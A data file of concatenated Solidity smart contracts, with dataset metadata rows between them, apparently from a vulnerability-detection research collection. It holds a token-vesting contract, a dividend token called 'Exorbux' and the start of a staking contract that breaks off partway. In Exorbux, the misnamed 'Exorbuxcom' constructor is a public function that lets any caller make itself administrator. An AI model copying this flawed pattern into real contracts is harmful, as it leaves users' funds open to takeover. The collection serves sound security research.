function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: OpenZeppelin/[emailprotected]/ERC20
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
// File: Vesting.sol
contract Vesting is Ownable {
using Address for address;
using SafeERC20 for ERC20;
// Map user address to amount of tokens alloted //
mapping(address => uint256) public tokensAlloted;
mapping(address => uint256) public tokensClaimed;
uint256 internal constant PERCENT100 = 1e6;
string private _pool_name;
struct VestingInfo {
uint256[] periods;
uint256[] percents;
uint256 startTime;
bool vestingTimerStarted;
}
VestingInfo public vestInfo;
uint256 public vestInfoLength;
mapping(address => mapping(uint256 => bool)) investorsClaimMap;
ERC20 public immutable token;
event TokenClaimed(address indexed user,
uint256 timeStamp,
uint256 amountToken);
constructor(ERC20 _token, string memory _name) {
token = _token;
_pool_name = _name;
}
function setupVestingMode(uint256[] calldata _periods,
uint256[] calldata _percents) public onlyOwner {
require(!vestInfo.vestingTimerStarted, "Vesting already started");
uint256 len = _periods.length;
require(len > 0, "Invalid length");
require(len == _percents.length, "Wrong ranges");
// check that all percentages should add up to 100% //
// 100% is 1e6
uint256 totalPcnt;
for (uint256 n = 0; n < len; n++) {
totalPcnt = totalPcnt + _percents[n];
}
require(totalPcnt == PERCENT100, "Percentages add up should be 100%");
vestInfoLength = len;
vestInfo = VestingInfo({
periods: _periods,
percents: _percents,
startTime: 0,
vestingTimerStarted: false
});
}
function allotTokens(address[] calldata _users,
uint256[] calldata _tokenAmounts) public onlyOwner {
require(!vestInfo.vestingTimerStarted, "Vesting already started");
uint256 len = _users.length;
require(len > 0, "Invalid length");
require(len == _tokenAmounts.length, "Wrong ranges");
uint256 totalAllotedAmount;
for (uint256 n = 0; n < len; n++) {
address _user = _users[n];
tokensAlloted[_user] += _tokenAmounts[n];
totalAllotedAmount += _tokenAmounts[n];
}
token.safeTransferFrom(owner(), address(this), totalAllotedAmount);
}
function startVestingMode(uint256 startTime) external onlyOwner {
// Can be started only once
require(!vestInfo.vestingTimerStarted, "Vesting already started");
vestInfo.startTime = startTime;
vestInfo.vestingTimerStarted = true;
}
function isVestingClaimable(uint256 _index)
public
view
returns (bool, uint256)
{
if (!vestInfo.vestingTimerStarted) {
return (false, 0);
}
uint256 period = vestInfo.periods[_index];
uint256 releaseTime = vestInfo.startTime + period;
bool claimable = (block.timestamp > releaseTime);
uint256 remainTime;
if (!claimable) {
remainTime = releaseTime - block.timestamp;
}
return (claimable, remainTime);
}
function claimVestedTokens(uint256 _index) external {
(bool claimable,) = isVestingClaimable(_index);
require(claimable, "Not claimable at this time");
uint256 amtTotalToken = tokensAlloted[msg.sender];
require(amtTotalToken > 0, "No tokens have been alloted to you");
bool claimed = investorsClaimMap[msg.sender][_index];
require(!claimed, "This vest amount is already claimed");
investorsClaimMap[msg.sender][_index] = true;
uint256 amtTokens = (vestInfo.percents[_index] * amtTotalToken) /
PERCENT100;
tokensClaimed[msg.sender] += amtTokens;
token.safeTransfer(msg.sender, amtTokens);
emit TokenClaimed(msg.sender, block.timestamp, amtTokens);
}
function getNextVestingClaim(address _user)
external
view
returns (int256,
uint256,
uint256)
{
if (!vestInfo.vestingTimerStarted) {
return (-1, 0, 0);
}
uint256 amtTotalToken = tokensAlloted[_user];
if (amtTotalToken == 0) {
return (-1, 0, 0);
}
uint256 len = vestInfo.periods.length;
for (uint256 n = 0; n < len; n++) {
(bool claimable, uint256 time) = isVestingClaimable(n);
uint256 amtTokens = (vestInfo.percents[n] * amtTotalToken) /
PERCENT100;
bool claimed = investorsClaimMap[_user][n];
if (!claimable) {
return (int256(n), amtTokens, time);
} else {
if (!claimed) {
return (int256(n), amtTokens, 0);
}
}
}
// All claimed
return (-1, 0, 0);
}
function pool_name() public view returns (string memory) {
return _pool_name;
}
// Withdraw tokens. EMERGENCY ONLY.
function emergencyTokenWithdraw(address _receiver) external onlyOwner {
token.safeTransfer(_receiver, token.balanceOf(address(this)));
}
}
| 34,861 | 330 |
84a4ba5a4985a8e81a7dac1d5d166af2f489eaec5e7c64bfdfef3ce2f9a48598
| 24,986 |
.sol
|
Solidity
| false |
485191982
|
Franklinliu/SpCon-Artifact
|
a0796eccd7bfd92300e1785c099adbb79e9727fe
|
ISSTA2022Result/SmartBugsWildResults/spcon-smartbugs-previously-unknown/0x0bc957a2dca7a6549f94fcab8cc3a900afdb1627/Exorbux.sol
| 4,763 | 18,361 |
pragma solidity ^0.4.20;
contract Exorbux {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Exorbux";
string public symbol = "EXB";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 35; // 35% to enter our community
uint8 constant internal refferalFee_ = 20; // 20% from enter fee divs or 7% for each invite, great for inviting new members on Exorbux
uint8 constant internal exitFee_ = 15; // 15% for selling
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
// referral program
mapping(address => uint256) internal referrals;
mapping(address => bool) internal isUser;
address[] public usersAddresses;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
function Exorbuxcom()
public
{
// add administrators here with their wallets
// bungalogic
// Website developer, concept and design. Community
administrators[0x2A02F9e9a7203717361A00E53158D85b4B3Cb8DB] = true;
ambassadors_[0x2A02F9e9a7203717361A00E53158D85b4B3Cb8DB] = true;
// clumsier
// Solidity Developer, website, EXB
administrators[msg.sender] = true;
ambassadors_[msg.sender] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands() public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw() onlyStronghands() public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders() public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function referralsOf(address _customerAddress)
public
view
returns(uint256)
{
return referrals[_customerAddress];
}
function totalUsers()
public
view
returns(uint256)
{
return usersAddresses.length;
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a Kekly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
if (isUser[_customerAddress] == false) {
referrals[_referredBy]++;
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (isUser[_customerAddress] == false) {
isUser[_customerAddress] = true;
usersAddresses.push(_customerAddress);
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 245,211 | 331 |
3417dd92221f1286576064bddd3b7856f2e459f6eecaf2c643bfe361075114a0
| 27,689 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/01/0151C1f2e349836Ff37a8297634E42B33290e5F7_DiamondStaking.sol
| 4,250 | 17,075 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsDb {
function rebase(uint256 dbProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
